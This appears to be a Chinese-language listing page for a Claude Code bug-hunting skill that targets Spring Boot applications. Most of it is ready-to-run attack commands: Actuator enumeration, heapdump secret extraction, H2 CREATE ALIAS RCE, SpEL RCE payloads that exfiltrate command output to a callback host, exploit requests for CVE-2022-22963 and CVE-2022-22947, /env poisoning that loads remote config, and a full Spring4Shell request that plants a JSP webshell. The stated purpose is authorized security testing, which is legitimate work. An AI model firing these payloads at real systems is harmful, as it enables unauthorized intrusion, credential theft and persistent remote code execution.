关于 hunt-springboot
面向 Spring Boot 安全测试人员的漏洞排查技能,涵盖 Actuator、H2 Console、SpEL 和 Spring4Shell 等攻击面,并强调验证结果以识别真实问题。
主要功能
- 01识别 Spring Boot 与 Actuator 端点
- 02检查堆转储和环境变量泄露
- 03测试 H2 Console 与 SpEL 注入
- 04排查 Spring4Shell 和 Jolokia 暴露
- 05提供漏洞验证与影响判断
适用场景
- 01评估公开的 Actuator 端点是否泄露敏感信息
- 02测试 H2 Console 或表达式注入风险
- 03排查 Spring Boot 应用的已知漏洞路径
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-springboot安装后在 Claude Code 中输入/hunt-springboot确认已加载。
详细介绍
HUNT-SPRINGBOOT —— Spring Boot 特定漏洞
皇冠明珠目标
Spring Boot Actuator 的 /actuator/heapdump 暴露时,可获取包含内存中所有机密信息的堆转储。
价值最高的发现:
/actuator/heapdump—— 完整的 JVM 堆转储包含存储在内存任意位置的明文密码、令牌、数据库凭据和私钥/actuator/env—— 列出所有环境变量和 Spring 属性,包括机密信息/actuator/shutdown—— POST → 关闭应用程序(对可用性造成严重影响)- H2 Console(
/h2-console) —— 内存数据库管理界面 → 执行 SQL 查询 → 可能通过CREATE ALIAS技巧实现 RCE - SpEL 注入 —— 模板字段、
@Value注解、经 SpEL 处理的请求参数中的 Spring Expression Language → RCE - Spring4Shell CVE-2022-22965 —— Spring Framework < 5.3.18 + Tomcat → 通过数据绑定实现 RCE
第 1 阶段 —— 识别 Spring Boot
# Spring Boot indicators
curl -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
# Actuator root (may list available endpoints)
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
# Try common base paths
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done
第 2 阶段 —— 枚举 Actuator 端点
BASE="https://$TARGET/actuator"
# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"loggers" "info" "health" "configprops" "shutdown" "trace"
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
# Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
# page for many paths. Require actuator-shaped JSON (or a heapdump body)
# before calling it EXPOSED.
BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP")
CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
echo "[+] EXPOSED: $BASE/$EP"
fi
done
# Get environment variables (passwords, API keys)
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
# Get all endpoint mappings (full API surface)
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
# Get Spring beans (lists all registered beans, reveals internal architecture)
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
第 3 阶段 —— 分析堆转储
# Download heap dump (can be large — 100MB+)
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof
# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
grep -v "^[a-z_]" | sort -u | head -50
# More targeted extraction
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/
第 4 阶段 —— H2 Console RCE
# H2 console detection
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl -s "https://$TARGET/h2" | grep -i "H2 Console"
curl -s "https://$TARGET/console" | grep -i "H2"
# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb
# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
# Runtime rt = Runtime.getRuntime();
# String[] commands = {"sh","-c",cmd};
# Process proc = rt.exec(commands);
# return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');
第 5 阶段 —— SpEL 注入
# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow
# Basic SpEL test
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed
# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
# CVE-2022-22963 — Spring Cloud Function SpEL
curl -s -X POST "https://$TARGET/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
-d "test"
第 5b 阶段 —— Spring Cloud Gateway Actuator SpEL RCE(CVE-2022-22947)
如果 gateway Actuator 暴露,则添加一个筛选器主体为 SpEL 的路由,然后刷新以执行它(为 shell 转义内部引号):
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
-d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"
第 5c 阶段 —— 可写 /env → /refresh Gadget RCE
当 /actuator/env 接受 POST 且 /actuator/refresh 存在时,污染一个属性,然后重新加载:
# logback JNDI:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
# Eureka XStream deserialization:
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}'
curl -s -X POST "$BASE/actuator/refresh"
(Veracode:利用 Spring Boot Actuators。)
第 6 阶段 —— Spring4Shell(CVE-2022-22965)
# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment
# Detection: does the app accept class.* parameters?
curl -s "https://$TARGET/api/user" \
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback
# Exploitation: write webshell via class loader
curl -s "https://$TARGET/login" \
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
第 7 阶段 —— Jolokia JMX 暴露
# Jolokia provides HTTP access to JMX MBeans
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
# List all MBeans
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
# Read system properties via Jolokia (may expose credentials)
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
# Exec MBean operations (potential RCE via MLet)
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
攻击链表
| Spring Boot 发现 | 攻击链目标 | 影响 |
|---|---|---|
/actuator/heapdump | 从内存中提取数据库密码、API 密钥 | 严重凭据泄露 |
/actuator/env | 读取所有环境变量,包括机密信息 | 高 |
| H2 Console 可访问 | CREATE ALIAS → RCE | 严重 |
| SpEL 注入 | T(Runtime).exec() → 操作系统命令 | 严重 RCE |
| Spring4Shell | 写入 Webshell → RCE | 严重 |
| Jolokia + MLet | 通过 MBean 执行远程代码 | 严重 RCE |
验证
✅ 堆转储:strings 命令可从 .hprof 文件中提取可读的密码/令牌
✅ Actuator/env:JSON 响应中可见机密信息
✅ SpEL:算术表达式可求值(7*7=49),或收到 OOB 回调
✅ H2 Console:SQL 已执行,返回了 id 输出
严重程度:
- 含凭据的堆转储:严重
- SpEL RCE:严重
- H2 Console RCE:严重
- Actuator env(密码暴露):高
- 仅映射信息泄露:低至中等
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